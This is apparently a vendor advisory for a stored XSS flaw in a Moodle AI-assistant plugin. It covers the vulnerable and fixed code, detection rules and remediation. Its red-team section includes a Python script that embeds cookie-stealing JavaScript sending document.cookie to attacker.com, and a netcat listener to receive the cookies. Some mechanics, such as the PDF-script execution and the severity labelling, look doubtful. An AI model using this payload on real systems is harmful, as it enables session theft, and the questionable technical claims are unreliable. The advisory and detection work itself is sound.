CVE-2025-60507
Executive Summary
CVE-2025-60507 is a critical stored Cross-Site Scripting (XSS) vulnerability in the Moodle GeniAI plugin (local_geniai) version 2.3.6. An authenticated attacker with the Teacher role can upload a malicious PDF file containing embedded JavaScript. The plugin then generates a direct HTML link to the uploaded file without any sanitization. When any user (including Students or Administrators) clicks this link, the embedded JavaScript executes in their browser context, leading to session hijacking, data theft, or further compromise of the Moodle instance.
This vulnerability is particularly dangerous because it requires only Teacher-level privileges, which are often widely granted in educational environments. The attack vector is user interaction (clicking a link), but the payload is persistent in the system until manually removed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Moodle plugin distributed via the Moodle plugins directory. The plugin is not managed by a standard package manager (npm, PyPI, etc.), but the risk is similar: users must manually update the plugin from the Moodle plugin repository. No official patch has been released as of this analysis.
CVSS Breakdown & Threat Level
CVSS Score: 8.9 (High)
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs a Teacher account.
- User Interaction (UI): Required (R) – The victim must click the malicious link.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope (the plugin).
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full data modification possible.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: Critical. The combination of low privileges, network attack vector, and high impact makes this a top-priority vulnerability for Moodle administrators.
Deep Dive & Mechanics
The vulnerability resides in the file upload and link generation functionality of the local_geniai plugin. The plugin allows Teachers to upload PDF files for use with the GeniAI assistant. The flaw is in the assistant's response: when it outputs a link to the uploaded file, it does not sanitize or escape the filename or the file content.
Attack Flow:
- Authentication: The attacker logs in with a Teacher account.
- Malicious PDF Upload: The attacker crafts a PDF file that contains embedded JavaScript. This can be done using tools like
pdfkitor by modifying the PDF structure directly. The JavaScript payload is typically placed in an action or annotation that triggers on page open or click. - Link Generation: The GeniAI assistant processes the upload and generates a direct HTML link to the file (e.g.,
https://moodle.example.com/pluginfile.php/.../malicious.pdf). - Payload Delivery: The attacker shares this link with other users (Students, Admins) via chat, forum, or email.
- Execution: When a victim clicks the link, the browser renders the PDF. The embedded JavaScript executes in the context of the Moodle domain, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: The plugin uses file_get_contents() or similar to read the uploaded file and then directly embeds the file path into an HTML anchor tag without any output encoding or validation.
Vulnerable vs. Patched Code
Vulnerable Code (local_geniai 2.3.6):
// In the assistant response generation
$file_url = moodle_url::make_pluginfile_url($context->id, 'local_geniai', 'attachment', 0, '/', $filename);
$response = "Here is your file: <a href='" . $file_url . "'>" . $filename . "</a>";
echo $response;
Patched Code (Hypothetical Fix):
// In the assistant response generation
$file_url = moodle_url::make_pluginfile_url($context->id, 'local_geniai', 'attachment', 0, '/', $filename);
$safe_filename = s($filename); // Moodle's s() function escapes HTML
$response = "Here is your file: <a href='" . $file_url . "'>" . $safe_filename . "</a>";
echo $response;
The fix involves using Moodle's built-in s() function (or htmlspecialchars()) to escape the filename before outputting it in the HTML. Additionally, the plugin should validate that uploaded PDFs do not contain executable JavaScript, though this is more complex.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Moodle instance with the
local_geniaiplugin version 2.3.6 installed. - A Teacher account on that instance.
- A tool to craft a malicious PDF (e.g.,
pdfkitin Python, or a hex editor).
Step-by-Step Exploitation:
Craft Malicious PDF: Use Python with
pdfkitto create a PDF with embedded JavaScript that steals cookies.import pdfkit # JavaScript payload to steal cookies js_payload = """ <script> var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + document.cookie; </script> """ # Create HTML with the payload html_content = f"<html><body>{js_payload}</body></html>" # Generate PDF pdfkit.from_string(html_content, 'malicious.pdf')Upload the PDF: Log in as Teacher, navigate to the GeniAI plugin interface, and upload
malicious.pdf.Obtain the Link: The assistant will respond with a direct link to the file. Copy this link.
Distribute the Link: Send the link to a Student or Administrator via Moodle messaging or email.
Capture Cookies: Set up a listener on your attacker server to receive the stolen cookies.
nc -lvnp 80
Blue Team
Detection and Response:
- Monitor File Uploads: Look for PDF files uploaded by Teacher accounts that contain JavaScript. Use YARA rules (see Detection Engineering).
- Review Assistant Logs: Check the GeniAI plugin logs for unusual file uploads or links generated.
- Inspect Network Traffic: Look for outbound connections from the Moodle server to unknown IPs (potential cookie exfiltration).
- User Education: Warn users not to click on links from unknown or suspicious sources, even within the Moodle platform.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious.pdf(example):a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- Outbound HTTP requests to
attacker.com/steal?cookie=*
- Outbound HTTP requests to
- Log Entries:
- Moodle log:
User <teacher_id> uploaded file malicious.pdf to local_geniai - Web server log:
GET /pluginfile.php/.../malicious.pdffollowed byGET /steal?cookie=...
- Moodle log:
- File Paths:
moodledata/filedir/.../malicious.pdf(actual path varies)
Detection Engineering
YARA Rule
rule CVE_2025_60507_Malicious_PDF {
meta:
description = "Detects PDF files with embedded JavaScript targeting Moodle GeniAI plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60507"
strings:
$pdf_header = "%PDF"
$js_script = /<script[\s>]/ nocase
$js_event = /(onload|onopen|onclick)\s*=/ nocase
$cookie_steal = /document\.cookie/ nocase
condition:
$pdf_header at 0 and 2 of ($js_script, $js_event, $cookie_steal)
}
Sigma Rule
title: CVE-2025-60507 Moodle GeniAI XSS Exploitation
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects exploitation attempts of CVE-2025-60507 via file upload and link generation
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/pluginfile.php/*/local_geniai/attachment/*'
cs-uri-query: '*malicious*'
condition: selection
falsepositives:
- Legitimate PDF uploads with 'malicious' in filename (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60507 Moodle GeniAI XSS - Cookie Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: If the plugin is not critical, disable
local_geniaiimmediately. - Restrict Teacher Uploads: Temporarily disable file uploads for Teacher roles in the plugin settings.
- Audit Existing Uploads: Scan all previously uploaded PDF files for embedded JavaScript using the YARA rule above.
Long-Term Fixes:
- Apply Patch: Monitor the Moodle plugin repository for an official patch. If none is available, apply the hypothetical fix described in the "Vulnerable vs. Patched Code" section.
- Input Validation: Implement server-side validation to reject PDFs containing JavaScript.
- Output Encoding: Always escape filenames and URLs when outputting them in HTML.
- Content Security Policy (CSP): Add a CSP header to restrict script execution.
Workaround:
- Use a web application firewall (WAF) to block requests to
/pluginfile.php/*/local_geniai/attachment/*that contain suspicious parameters.
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.